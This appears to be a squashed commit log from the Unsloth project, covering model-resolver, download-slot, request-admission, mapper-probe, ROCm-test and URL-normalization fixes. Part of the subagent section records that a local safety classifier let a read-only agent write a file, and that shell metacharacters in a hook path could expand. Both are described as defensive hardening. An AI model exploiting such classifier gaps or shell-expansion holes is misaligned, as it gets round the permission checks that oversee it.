* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: invalidate on every download, resolve bare tags, keep polling
Three review items.
Only the API auto-download watcher dropped the resolver cache, so a GGUF
fetched in the Hub UI stayed absent to the cache-only request path and the
request was answered by whatever was resident. finalize_worker_exit is the one
point every download worker exits through, so invalidate there. That closes the
window without leaning on the TTL, which the scan-duration throttle can stretch
past 5s on an install where the scan itself takes longer than that.
A downloaded but unloaded GGUF asked for as org/model:latest missed the
resolver, since the suffix was always treated as an exact quant. With
auto-download on that probed the Hub and returned a 404 for a quant that was
never a quant; with it off it refused without switching. Fall back to the base
entry when the suffix is not quant-shaped, and keep exact matching for real
quants so a swap can never serve the wrong weights under the right name.
The usage examples stopped polling once a model was resident, but idle unload
frees one without touching the store, so nothing re-ran the effect and the
examples kept naming a model that could no longer be reloaded. Slow the poll to
60s instead of stopping it.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: hold the download slot while it is in use, and keep quants to llama.cpp
_loaded_satisfies refuses a quant reference against the Transformers backend by
name, but the path match did not carry that rule. A Transformers model active
from a directory that also holds GGUF exports therefore matched a request for
one of those quants and answered it with the safetensors weights. Only
llama.cpp has a quant identity, so admission now passes llama_only whenever the
reference is quant-qualified. A bare name still matches either backend, and
/v1/models residency keeps the default so a loaded Transformers model is still
reported loaded.
The 24 hour watch window was bounding ownership of the single-flight slot when
it should only have been bounding progress reporting, so a legitimately slow
download had its slot handed back while the worker was still writing, admitting
a second multi-gigabyte download beside it. Resolve the row on the clock, but
keep the slot on a slower poll until the job is actually terminal. Past the
deadline an unknown state does release it, since it means the worker cannot be
probed and holding it on that forever would wedge auto-download.
* Studio: keep what the resolver already knew when a download lands
Invalidating cleared the index to empty. The request path reads that cache
without scanning, so from a completed download until the rebuild landed it had
no evidence about any local model, not just the new one, and a bare request for
any of them was answered by whatever was resident. Wiring the hook into the
shared completion path in the last commit widened that from auto-download to
every download.
Mark the scan stale and keep the entries instead. Both _index and
warm_index_soon rebuild on a zero stamp, while the request path still sees
everything it knew a moment ago. Only a completed download invalidates, and
that only ever adds models, so nothing retained goes false.
Warm from the completion hook too, so the rebuild starts when the download
lands rather than when the next request happens to need it.
* Studio: match the quant, not just the directory, and default-select bare tags
Two quants of one repo share a directory, so the path match could not tell them
apart and an explicit :Q8_0 was answered by a resident Q4_K_M that
_loaded_satisfies had already refused by name. The llama_only fix in the last
commit only ruled out the wrong backend, not the wrong quant on the right one.
Both path matches now require the resident hf_variant to equal the requested
quant whenever the reference is quantified; a bare name still matches on the
path alone, since it claims nothing about the weights.
The local resolver already treated a tag that names no quant as meaning the
repo, but remote admission still looked for a quant literally called "latest",
so the same reference resolved locally and 404d remotely. Branch on
looks_like_quant there too. A real quant the repo does not have is still a 404
and never a substitution, which is what separates this from the loader's
low-disk fallback.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: one quant preference, and stop trusting a stale checkpoint
list_local_gguf_variants sorts by descending size, so the head of variants was
the biggest quant, often F16, while remote admission and a plain load both rank
through _pick_best_gguf. A bare id therefore meant a different quant depending
on which side answered it, and the local answer was the one that could evict a
working model and then fail or OOM starting an F16 next to a usable Q4.
/v1/models advertised that same head for pinning. Pull the ranking into one
preferred_quant helper and have both sides use it.
The usage examples returned a stored checkpoint without ever consulting
/v1/models, and the polling added last round was gated on not having one, so
for a stored checkpoint it never ran. An idle unload then left the panel
showing a snippet that could not run. Poll whenever mounted, and prefer the
checkpoint only while the catalog still backs it or switching can reload it. A
catalog that has not answered yet is not evidence against it.
The static contract pinned the old dependency array, so it now asserts the
intent it documents: a finished load re-runs the fetch, and the effect is not
gated on having no checkpoint.
* Studio: fix the Windows path compare, and advertise a label the worker knows
The case fix normalized the separator to "/" and then called os.path.normcase,
which on Windows folds case and rewrites the separator back to a backslash, so
the descendant checks compared against a "/" the path no longer had. A manually
loaded GGUF reached through an alias then read as a different model, giving a
false 404 and an alias marked unloaded. Run normcase first and normalize the
separator after it.
There are two quant-label extractors and they only agree while a recognized
quant token is present. With none, _extract_quant_label takes the last
hyphenated segment, "7b" of llama-7b, while build_gguf_variant_plans and the
worker key the whole stem: the plan lookup missed and the job exited on a
variant it had no shards for. Use the canonical extractor for the unrecognized
case only. Checked across real filenames first, the two match on every
recognized quant and part on bpw-qualified labels, which _extract_quant_label
keeps apart on purpose so byteshape's IQ4_XS at 3.53, 3.97 and 4.19 bpw stay
separate variants.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: a stored checkpoint needs catalog evidence, not just the switch setting
Preferring it whenever switching was on short-circuited the catalog check, so a
checkpoint the store still held after the model was deleted or moved kept being
named even though /v1/models had already proved it absent, and the snippets 404d
instead of falling back to a model that is actually there.
A lookup rather than a disjunction, which settles the whole matrix in one place:
no answer yet keeps the checkpoint, since that is not evidence against it; listed
and resident keeps it; listed but unloaded keeps it only when switching can
reload it; absent falls back whatever the setting says.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: normalize the quote style pre-commit would have rewritten
* Studio: cover the model that just landed, and pin the quant the catalog has
Retaining the index on invalidation protects what was already scanned and by
construction cannot contain the model that just finished downloading, so a bare
request for it in the window before the rebuild was still answered by the
resident model. Record the repo at the completion hook and treat that as
admission evidence alongside the resolver and the catalog; the next completed
scan clears the notes, since the index then covers them. Publishing a rebuilt
index before completion becomes observable would have closed it too, but that
blocks the download worker for the length of the scan.
Catalog membership proves the repo, not the saved quant, and the examples then
pinned the stored one. A quant deleted while another quant of the same repo
remained produced repo:deleted-quant, a missing-quant 404 with a runnable
alternative listed right beside it. Pin what the catalog advertises: for a
resident entry that is the resident quant, for an unloaded one it is a quant
actually on disk. The store is only consulted before /v1/models has answered.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: apply three rules everywhere they belong, not only where reported
The trust probe was the last credential handoff still passing a raw token.
huggingface_hub reads None as "use the cached login", so a caller-named repo
was read with this server's Hugging Face identity whenever the caller sent
none, which is exactly the isolation the metadata probe and the worker already
keep. It takes _hub_token now. Enumerated the rest of that path while there:
auth_check, model_info and spawn_worker were already correct.
finalize_worker_exit is shared with dataset downloads, so the resolver hook
fired for every completed dataset, scanning the model directories for nothing
and recording the dataset id as local-model evidence, which turns a bare /v1
request naming that id into a refusal instead of a foreign-id fallthrough.
Gated on repo_type.
_already_serving decided "bare" on the presence of a colon while
_loaded_satisfies and the resolver decide it on whether the suffix names a
quant, so org/model:latest against a serving Q8_0 read as a mismatch and
swapped in the preferred Q4_K_M for a request either one answers. That rule now
lives in four places, each fixed in its own round, so this time I looked for
the rest and found a fifth: describe_local_miss splits on the bare colon and
its docstring claims it splits like the resolver. It no longer did, and would
report a missing quant named "latest". Fixed here too, unreported.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: probe before refusing busy, and scan once when the index is cold
The busy refusal fired before anything established the requested label was a
model at all, so any namespaced id a drop-in client sends was told to wait out
an unrelated download for as long as it ran. Probe first and refuse only a
label the Hub actually serves as GGUF; anything else falls through to the
resident model as before. A probe failure answers "not downloadable", since
stranding ordinary traffic costs more than missing a busy refusal.
Treating an unbuilt index as "nothing here" let the first request after startup
be answered by the resident model under another model's name. That was a
deliberate trade to keep the scan off the request path, and it was the wrong
one. Cold, the scan now runs once on a thread, bounded so a pathological
install falls through rather than hanging the request. Built, the request path
still never scans, so the latency fix stands.
The watcher freed the slot the moment it saw an error, while Retry-After is
thirty times the poll interval, so the client came back to an empty slot and
restarted the same failing download instead of being told. Hold the failure on
the slot until a retry surfaces it, and let another repo take it after three
retry intervals so a client that never returns cannot keep it.
The watcher also invalidated on completion, which now lands after
finalize_worker_exit's warm and marks that fresh scan stale, pushing a
synchronous rescan onto the retry. Removed.
_loaded_satisfies lowercased paths as well as aliases, so it returned satisfied
before the case-preserving compare below could run. Both now go through one
helper: paths compare with normcase, aliases stay case-insensitive.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: an unfinished scan is not absence, and a decided refusal is not a failure
Bounding the cold scan then reading the bound as "not here" left the same hole
one branch over. A timeout now answers 503 model_indexing with a Retry-After
and leaves the warm running. A foreign label sent inside that window is asked
to retry rather than falling through, which is a real cost, but the window is
one request on an install whose scan exceeds ten seconds and it clears itself,
where answering with the wrong weights does not.
That uncovered a worse one. Every check here runs inside a broad except whose
job is "could not verify, so fall through", so an HTTPException raised in the
block was logged as a verification failure and the request was answered by the
resident model. Any refusal decided in there was being swallowed. Re-raise it
ahead of that handler.
Canonicalizing generic labels made them real variant keys, but the matcher
still decided on shape, so repo:llama-13b fell past an exact match and fetched
llama-7b. Match exactly first, whatever the shape; a quant-shaped suffix that
matches nothing is still a miss and never a swap.
Marking a catalog alias loaded while publishing the preferred on-disk quant
claimed alias:Q4 was loaded while Q8 was serving, and requiring the resident
quant to match then made pinning it a 404. Advertise the resident variant when
the entry resolves to the resident model.
* Studio: keep the asyncio.timeout fallback tests runnable on Python 3.10
Both tests deleted asyncio.timeout to force _wall_clock_timeout down its
pre-3.11 branch, but monkeypatch.delattr raises when the attribute is already
absent. On Python 3.10, the one version the fallback exists for, there is
nothing to delete, so the two tests errored with AttributeError before reaching
the code they cover. Passing raising=False makes the deletion a no-op there and
leaves the assertions running against the same branch on every version.
Every other delattr in the repo already passes raising=False for exactly this
reason. Verified with asyncio.timeout removed from the interpreter: the two
tests fail with the CI AttributeError before this change and pass after, and
the file still runs 89 passed on 3.13 where the deletion is real.
* Studio: decide GGUF residency, servability and variant keys by one rule each
Four admission and catalog fixes, each closing a gap between two places that
were answering the same question differently.
The /v1/models catalog asked _resolves_to_resident without llama_only, so a
Transformers model live from a directory that also holds GGUF exports marked a
GGUF alias loaded and gave it a GGUF quant. The usage examples then pinned
alias:quant that nothing could serve with switching off. Every entry in that
loop is advertised as GGUF, so residency there is llama.cpp residency.
The busy probe accepted any .gguf sibling while admission excludes mmproj, MTP
drafters and big-endian builds. A repo holding only companions is not
downloadable, so it was held at model_download_busy for the length of an
unrelated download instead of falling through to the resident model as it does
when no download is running. It now reuses _gguf_variants, the same filter.
split_model_ref refused any slash-bearing suffix, but an unrecognized GGUF below
a subdirectory keys on its path (build/llama-13b), which is_valid_gguf_variant
allows and the catalog advertises. Pinning such a variant could not parse, so
only the default-ranked one was reachable. A slash-bearing suffix is now a
variant exactly when a real Hub repo precedes it, which still leaves
C:/models/x.gguf a path rather than a quant.
The usage examples treated a downloaded-but-unloaded model as runnable only
under auto-switch, but a standalone UNSLOTH_MODEL_IDLE_TTL reloads exactly what
it freed on the next request. The panel hid runnable examples after an idle
unload. Tracked apart from auto-switch, because the stash restores the stored
checkpoint only and never an arbitrary catalog entry.
Also stub the index walk in the three cold-index tests that missed it: a real
multi-root scan inside the cold-wait budget made them time out into a 503 under
load rather than assert what they are there for. One of them flaked locally.
Verified each fix is load-bearing by reverting it and watching its test fail.
Backend CI command: 10195 passed, 0 failed. tsc -b and the frontend build clean.
* Studio: bound the Hub admission probes and stop guessing at nested model paths
Three review fixes plus a test-isolation one.
_resolves_to_resident matched on a path prefix, so two separately indexed models
that nest (/models/A alongside /models/A/sub/B) both satisfied it: loading B
made a request for A resident and answered it with B's weights, and the catalog
marked A loaded. A prefix match now counts only when no catalog entry sits
deeper, which is the innermost indexed model that actually owns the file. With
nothing indexed there is no nesting to tell apart, so the directory-to-weights
match this exists for is unchanged.
auth_check and hf_hub_download take no timeout of their own, and both ran while
the provisional single-flight slot was held, so an unresponsive Hub stalled the
request far past the metadata budget and reported every other model busy for the
duration. Both are bounded now. Each default errs the safe way: an unchecked
repo is not a cleared one, so the custom-code probe refuses on timeout, while a
slow gated-repo check stays inconclusive because the download's own auth is the
real gate.
The usage examples caught a failed refresh into an empty catalog and a disabled
auto-switch, which made a transient error authoritative and blanked every
example while the model was still servable. The catalog is deliberately
tri-state; a failure now keeps the last answer and retries.
Also start the backend tests from a built, empty model index. Stubbing only the
background warm still left the cold path walking real caches synchronously
inside the admission wait, so on a large install a test asserted against a 503
"still indexing" instead of its subject. _build_index is untouched, so the tests
that call it directly still exercise the real walk.
Verified each fix is load-bearing by reverting it and watching its test fail.
tsc -b clean. Backend CI command green apart from two failures reproduced only
on this box (a real model-dir scan and an orphan-process cleanup), neither
touched by this PR; staging CI is the gate for those.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Keep the newer-mapper probe alive when the fetched mapper has no fp8 tables
_get_new_mapper reads the two fp8 tables out of the fetched mapper.py under
that file's own names, unlike the three NEW_ names it renames itself. A
mapper.py that does not define them raises KeyError, the bare except swallows
it, and the function returns five empty dicts, so the 4bit and 16bit upgrade
check stops firing as well. That check is the reason the probe exists.
Every mapper.py older than the fp8 tables is such a file: fetching the
2025-11-07 one leaves the probe with [0, 0, 0, 0, 0] instead of
[400, 997, 591]. Reading the two names with .get keeps the 4bit half working
and empties only the fp8 half, which costs nothing, since the probe runs only
after the installed tables have already missed.
Add a regression test that also pins the fetched-only fp8 upgrade error, which
the existing test cannot catch: it serves the repo's own mapper.py as both the
installed and the fetched source, so any fresh dict satisfies its identity
assertions.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Studio: admission control on /v1/messages, slot pool that tracks --parallel
/v1/chat/completions was gated by the llama admission queue but /v1/messages
was not, so an Anthropic client could oversubscribe llama-server's slots and
stall the backend. Wire the same queue into all six /v1/messages dispatch
sites, and rework the queue itself into an explicit slot pool.
- Queue keyed by base_url, so both API surfaces share one pool of slots.
- Waiting is unbounded by default instead of timing out; the wait line is
sized at 16 x the serving slots so it follows --parallel.
- Neutral UNSLOTH_LLAMA_ADMISSION_* env names, legacy UNSLOTH_OPENAI_COMPAT_*
spellings still honored.
- Passthrough retries once against a respawned llama-server, which comes back
on a new ephemeral port.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix over-admission on capacity shrink and restore the stream cancel contract
Review of the previous commit turned up two real regressions plus smaller gaps.
- Pool sizing looked only at free slot ids, so when capacity shrank while slots
were held (an unload resets effective_parallel_slots to 1) a freed low id was
handed out even though the holdovers already met the new ceiling. Count every
held slot against capacity instead. A 1-slot backend could run 4 generations.
- The streaming wrapper closed the monitored body with aclose(), delivering
GeneratorExit where _SameTaskStreamingResponse deliberately throws
CancelledError. The monitor entry was never finalized, so it leaked as
"running" for the process lifetime and cancel_event was never set. Close
through the shared helper so cancellation reaches the handler.
- Finalize the monitor when a stream is abandoned before its body starts, and
when a queued non-streaming request is cancelled (which also leaked the
un-awaited generation coroutine).
- Floor the scaled wait line at 64, so a 1-slot backend keeps the depth it had
before scaling existed instead of dropping from 64 to 16.
- Use the canonical Anthropic type map: a full queue is 429 rate_limit_error,
which SDKs back off on; overloaded_error is 529.
- Treat non-positive max_queue/queue_per_slot as unbounded rather than "reject
everything", and reclaim the slot if a waiter's event loop is gone.
Tests: regression tests for both defects, verified to fail without the fix.
Adds env coverage for QUEUE_PER_SLOT and the legacy fallbacks, a structural
check that all six dispatch sites stay admission-wrapped, and clears the new
env var in the isolation fixtures.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Run the response pre-start cleanup when a queued stream is abandoned
From automated review of the earlier commits.
_anthropic_passthrough_stream enters its _TrackedCancel eagerly and relies on
the stream's finally to exit it, but aclose() on an async generator that never
started is a no-op, so that finally never runs. Admission made this reachable:
a client that disconnects while queued leaves the cancel id registered in
_CANCEL_REGISTRY forever.
- Give the passthrough response an unstarted_cleanup hook that exits the
tracker, via a new optional arg on _sse_streaming_response.
- Chain to that hook from the admission wrapper rather than replacing it, and
run it when the wrapper gives up before the body started.
- Defer to an in-progress MTP fallback instead of respawning underneath it;
only the first caller gets True from _maybe_recover_from_mtp_crash.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Restore Python 3.9 support, and stop the floor overriding an explicit setting
Second review round. The first item is a real break shipped by the earlier
commits, the rest are correctness and contract fixes.
- dataclass(slots = True) and int.bit_count() are both 3.10+, but the package
declares requires-python >=3.9 and CI only runs 3.12, so nothing caught it.
Importing the module raised TypeError on 3.9, taking down the whole backend,
not just admission. Drop the dataclass slots and track the popcount in a
counter. A test now asserts neither API comes back.
- The queue-depth floor applied even when an operator set QUEUE_PER_SLOT
explicitly, so asking for a shallow line silently got 64 and, with no queue
timeout, callers blocked instead of failing fast. The floor now only backs
the default multiplier.
- Never let a failing close strand a slot: closing runs in its own try so the
release always happens. A lost slot shrinks the pool permanently.
- Close the generation coroutine when reserving fails for any reason, not only
on a full queue.
- Exit the passthrough cancel tracker if the client drops while the opening SSE
lines are still being sent; those yields sit outside the teardown try.
- snapshot.free now reports what a caller could actually take, so the admission
log cannot show free slots next to queued requests after a shrink.
- Correct the class docstring: the wait line is bounded by default, not
unlimited. Document that abandoning wait() requires cancel(), and pin the
thread assumption in _deliver_lease.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Make the leak guards real, and cover the untested admission branches
Third review round, which attacked the previous round's tests by reverting each
fix. Two guards turned out to be hollow.
- The pre-start cleanup chain could be severed with the suite still green: the
existing test drove the generator finally, never the response hook. A real
pre-start disconnect leaked the passthrough cancel tracker permanently.
Replaced with a test that runs the response hook and asserts _CANCEL_REGISTRY
is empty; verified against both ways of reintroducing the leak.
- The structural check only asserted the unstarted_cleanup keyword was present,
so passing a literal None passed it while leaking. It now asserts the hook is
actually built.
- test_shares_queue_with_openai_by_base_url never touched the OpenAI helper; it
was a duplicate under a misleading name. It now reserves through the same
helper /v1/chat/completions uses, so it fails if either surface ever derives a
different key. That is the PR's central shared-queue claim.
- Cover the passthrough dispatch site, 499 on disconnect-while-queued, and the
streaming admission timeout. Four of six sites previously had only an AST
node count behind them.
- Clear admission env in the autouse fixture rather than per test: an ambient
canonical name silently beat the legacy name a test was exercising.
- Loosen the wall-clock assertion, which guarded against serialising on the
uncontended path, not against a slow runner.
- The class docstring claimed a global concurrency cap; Studio's own chat
endpoint does not reserve, so it is not one.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Keep dataclass slots on 3.10+ via a version gate
Dropping slots = True for 3.9 gave it up everywhere, including the 3.12 CI runs
and every supported interpreter but one. Gate it instead: _SLOTS is
{"slots": True} on 3.10+ and empty below, unpacked into each dataclass.
The AST scan now requires the unpack rather than merely forbidding a literal
slots keyword, so a dataclass added later cannot quietly lose slots. Added a
test that the gate matches the running interpreter, since a gate that never
applies is worse than no gate. Verified the 3.9 branch by forcing _SLOTS empty
and reloading: the full admission suite passes either way.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix two slot leaks, and cover the guards that had no test
Third review round, three reviewers working independently on the admission core,
the route wiring, and whether the PR regresses anything it is not about.
Leaks:
- cancel() made the same call_soon_threadsafe as _grant_waiters_locked but
without its RuntimeError guard. Routes cancel from finally blocks, so a closed
loop masked their exception and skipped the release, stranding the slot and
pinning is_idle() false so the queue was never evicted either.
- The pre-start cleanup released the slot after an await that can raise
BaseException, which is swallowed upstream. Nested it in a finally, as the
streaming and OpenAI paths already do.
An unparseable QUEUE_PER_SLOT dropped the 64 floor while falling back to the
default multiplier, quietly giving a 1-slot backend a 16-deep line. Explicit now
means it parsed.
Guards that were correct but had no test. Each was reverted, confirmed the suite
stayed green, then covered and confirmed red:
- the slot released when stream setup raises, which is the reachable one:
count_chat_tokens is a blocking call to llama-server, so a dead backend raises
after the slot is taken and before a body exists to release it
- coro.close() on a cancelled queued request, the api_monitor.fail that
distinguishes an admission timeout from a client hang-up, the MTP fallback
short-circuit, and the BaseException guard around the opening stream lines
- the queue-full test asserted a type string OpenAI's 429 also uses, so it
passed against an OpenAI envelope. It now pins the Anthropic shape.
Anthropic requests were invisible in the admission log while sharing the pool
with chat completions, so the same events are logged there with a mode. Renamed
the helper to match, since it is no longer OpenAI-only.
Corrected two comments that described behaviour the code does not have: the
slot is taken when the streaming response is built, not when the body starts
iterating, and the pool is not a cap on every generation, since /v1/completions,
Studio's chat endpoint and RAG captioning all reach llama-server directly.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Cover the admission telemetry, and drop a dead helper
Fourth review round. No bugs found in the code this time; the finding was that
most of the previous commit's telemetry had no test. Only queue-full was
asserted, so removing any of the other four log calls left the suite green.
All five are covered now, each verified by removing its call and confirming only
its own test reds. Fixing the first attempt turned up a test bug of my own: the
log line carries a queued=N field, so asserting "queued" in the message matched
every admission log ever emitted. It asserts the event name now.
Also covered two guards that were correct but unguarded: waiters whose futures
die out of band stop counting against the queue depth, and a newcomer cannot
barge past a parked waiter. The second is pinned as behaviour rather than as the
`if not self._waiters` check, because that check cannot actually change the
outcome: _take_slot_locked consults _can_admit_locked anyway, so either alone
refuses the newcomer. The test fails only if both go.
_optional_positive_int_env lost its last caller when the env parsing was
rewritten last round. Removed.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Keep the newer-mapper probe from replacing the installed FP8 mappers
get_model_name calls _get_new_mapper() whenever a name misses the local
tables, only to answer whether a newer Unsloth would support it. That
helper fetches mapper.py from main, prefixes INT_TO_FLOAT_MAPPER,
FLOAT_TO_INT_MAPPER and MAP_TO_UNSLOTH_16bit with NEW_, and execs the
result into globals().
The slice starts at __INT_TO_FLOAT_MAPPER, so it also carries
FLOAT_TO_FP8_BLOCK_MAPPER, FLOAT_TO_FP8_ROW_MAPPER, the _add_* helpers
and the builder's loop variables, and none of those are renamed.
Exec'ing into globals() therefore rebinds the two FP8 tables that
loader_utils imported from the installed mapper, so every later
get_model_name(..., load_in_fp8 = ...) in the process resolves through
main's table instead of the installed one. The probe deliberately does
not adopt the new 4bit mappers (it raises NotImplementedError asking the
user to upgrade), so silently adopting the new FP8 ones is inconsistent,
and it also leaves loader_utils and mapper disagreeing about the same
tables. Reaching it needs nothing unusual: any org/model name absent
from the tables triggers the fetch.
Exec into a throwaway namespace and read the three mappers out of it, so
the probe stays a read and the installed mappings are left alone.
Signed-off-by: Vineeth Sai <vineethsai4444@gmail.com>
* Hand the fetched FP8 tables back from the probe instead of dropping them
Isolating the exec stopped the probe corrupting the installed FP8 tables, but
it also removed the only reason the probe ever saw the fetched ones: the
_resolve_with_mappers call still read FLOAT_TO_FP8_BLOCK_MAPPER and
FLOAT_TO_FP8_ROW_MAPPER off the module globals. A newly added FP8 repo would
then miss both the installed tables and the probe, so an older install would
stop raising the upgrade NotImplementedError for it.
Return the two fetched tables and let _resolve_with_mappers take them as
optional arguments, defaulting to the installed ones. The probe now answers
for new FP8 repos without writing over what the installed version resolves.
_get_new_mapper returns five tables now, so the two existing stubs in
test_get_model_name.py and test_bad_mappings_redirect.py are updated to match.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Signed-off-by: Vineeth Sai <vineethsai4444@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* unsloth start: keep the local subagent unattended and out of plan mode
The local subagent child could stall waiting on a permission prompt, and a
parent session in plan mode could still reach the editing agent.
- Drop human-blocking tools from the child so it runs unattended. The
read-only child also drops the file writers.
- Emit a PreToolUse hook that reads permission_mode itself and denies the
editing agent under plan mode, so routing holds when the model ignores
SKILL.md. Fails open, and is skipped under the WSL bridge where a Windows
interpreter path is not runnable in the distro.
* Make the read-only subagent actually read-only, and drop stale WSL gates
From the first review of this branch, which drove the real code against a fake
HOME holding a pre-existing Claude install and diffed the tree before and after.
No config, agent, MCP server or CLAUDE.md of the user's was touched in either
arm, and the session dir is removed on exit, Ctrl-C and exception.
Three real findings came out of it:
- The read-only child could still write. Plan mode routes Bash through a safety
classifier served by the same local model, so a small model saying yes is what
authorised the write; a child spawned with read_only created a file. Denying
Bash there makes the label true, at the cost of shell exploration while
planning. Read, Grep and Glob still cover the search it needs.
- A persisted plugin dir kept a plan_gate.py from an earlier Windows run, so a
later WSL run shipped a hooks.json naming an interpreter the distro cannot
execute. Hook errors do not block, so this only ever wasted a spawn, but it
accumulated and the branch had no test.
- The comment claimed the read-only child keeps ExitPlanMode "as Claude does
under plan mode". A --print child is never offered the plan or prompt tools at
all, so most of both deny lists is inert today. Kept as a guard against a
version that starts offering them, but the comment now says so.
Also covers "auto" in the gate's non-plan modes, which is a real permission_mode
and the one the child's own Bash classifier runs under.
* Stop the gate failing closed, and bound a wedged child
Second review of this branch, driving real claude 2.1.219 against a mock
endpoint rather than reading.
The gate could fail closed. If plan_gate.py went missing the interpreter exited
2, which Claude treats as a blocking hook error, so the editing tool was denied
in every mode rather than just plan. Running the script through runpy instead of
handing its path to the interpreter turns that into an ordinary traceback, which
is exit 1 and allows. Verified both exit codes directly.
The hook also had no timeout, so a hung one stalled the parent for as long as it
hung, measured past 400s. Bounded at 10s.
The real stall this branch is named for was untouched: run_local_agent polled
communicate() forever, so a local server that accepts and never answers left the
child and the parent blocked indefinitely, measured past 400s. Added a wall-clock
deadline that kills the child and says the server looks wedged.
UNSLOTH_CLAUDE_SUBAGENT_TIMEOUT overrides it, 0 restores the old behaviour.
Also corrected the plan-mode comment. Claude already refuses the editing tool in
plan mode on its own, since it advertises readOnlyHint false; what the hook adds
is a reason naming the read-only tool to call instead. The WSL comment had the
direction backwards: the gate is the Linux path, not the Windows one.
Tests: the hook command's quoting and its behaviour with the gate deleted, both
previously unguarded, plus the timeout and its env override.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Keep the gate path out of the shell string
Codex review. The hook command is run by a shell, and the gate path was
interpolated into it, so a session-config root containing shell metacharacters
expanded before Python saw it. Verified on both: sh expands $(..), backticks and
$VAR; cmd expands %VAR%. In every case the path no longer resolves, the gate
exits 1, and because that intentionally fails open the routing message silently
stops appearing.
The path now travels as base64, whose alphabet has no metacharacter in either
shell. Parametrised over all four hostile forms, and the old interpolation makes
those tests fail.
One correction to the report: it says the editing agent becomes callable in plan
mode. It does not. Claude refuses that tool by itself, since it advertises
readOnlyHint false, which was checked earlier by deleting the hook entirely.
What a mangled path costs is the reason naming the read-only agent to call
instead, not the block.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
* tests: record the gfx1152 llama.cpp bundle gap so the next one is not silent
#7431 made gfx1152 (Krackan Point, Radeon 860M/840M) a first-class arch, which
fixed torch wheel selection: those laptops were pulling gfx1150 wheels built for
a different LLVM target. It also changed llama.cpp prebuilt selection, because
no gfx1152 bundle is published. published_rocm_choice_for_host deliberately
refuses to serve a sibling-family bundle, so those hosts now fall back to a HIP
source build.
That is the right outcome, a wrong-ISA binary fails at the first BLAS call
rather than merely installing slowly, but nothing recorded it and nothing would
have caught it. TestPublishedRocmGfxSelection builds its release from a
hardcoded family list, so it can only assert about arches someone already
thought to add.
Adds TestPublishedRocmBundleCoverage:
- PUBLISHED mirrors the mapped_targets in llama-prebuilt-manifest.json.
- KNOWN_GAPS lists arches _GFX_TO_AMD_INDEX_ARCH routes torch for that no bundle
covers: gfx1033/1035/1036 (RDNA 2, never built) and gfx1152.
- test_known_gaps_fall_back_to_source_build pins each to None.
- test_every_torch_routed_arch_is_covered_or_a_known_gap compares the routed set
against bundle coverage, so adding an arch for torch without a bundle has to
be a deliberate KNOWN_GAPS entry.
The invariant fires both ways. Simulating a new routed arch fails with
"coverage drifted: ['gfx1153'] newly uncovered"; simulating a published gfx1152
bundle fails with "gfx1152 is in KNOWN_GAPS but a bundle now matches it; drop it
from the set", so closing the gap cannot leave the list stale.
Reads _GFX_TO_AMD_INDEX_ARCH from source instead of importing
install_python_stack, which this suite does not otherwise depend on.
No production code changes. Install suite 1355 passed, no new failures.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* fetch bare hostnames as https instead of refusing them
* normalize host:port URLs and route schemeless github repos to the readme API
* only rewrite dotted host:port URLs with in-range ports
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* reject relative paths and oversized ports in url normalization
* Match web-fetch ports as ASCII digits so a unicode digit cannot raise
str.isdigit() is True for digit-class characters int() refuses (superscript
two, circled digit one), so _normalize_url_scheme reached int(port) and raised
ValueError out of _fetch_url_raw, which runs before its try block. A
web_search url of "example.com:<superscript two>" surfaced a generic tool
exception instead of the Blocked: message it returned before this branch.
Match the port against an anchored [0-9]{1,5} instead; the five-digit cap that
kept the range check from converting an unbounded integer is now in the
pattern.
* Apply the invalid-port guard to redirect targets too
_fetch_url_raw wraps the initial parsed.port in try/except ValueError, but the
redirect hop reads rp.port unguarded, so a server answering
Location: https://example.org:99999/next fell through to the broad handler as
"Failed to fetch URL: Port out of range 0-65535" rather than a deliberate
block. No request is dispatched either way; this just makes the two paths
report the same way.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Keep the redirect-port test compact
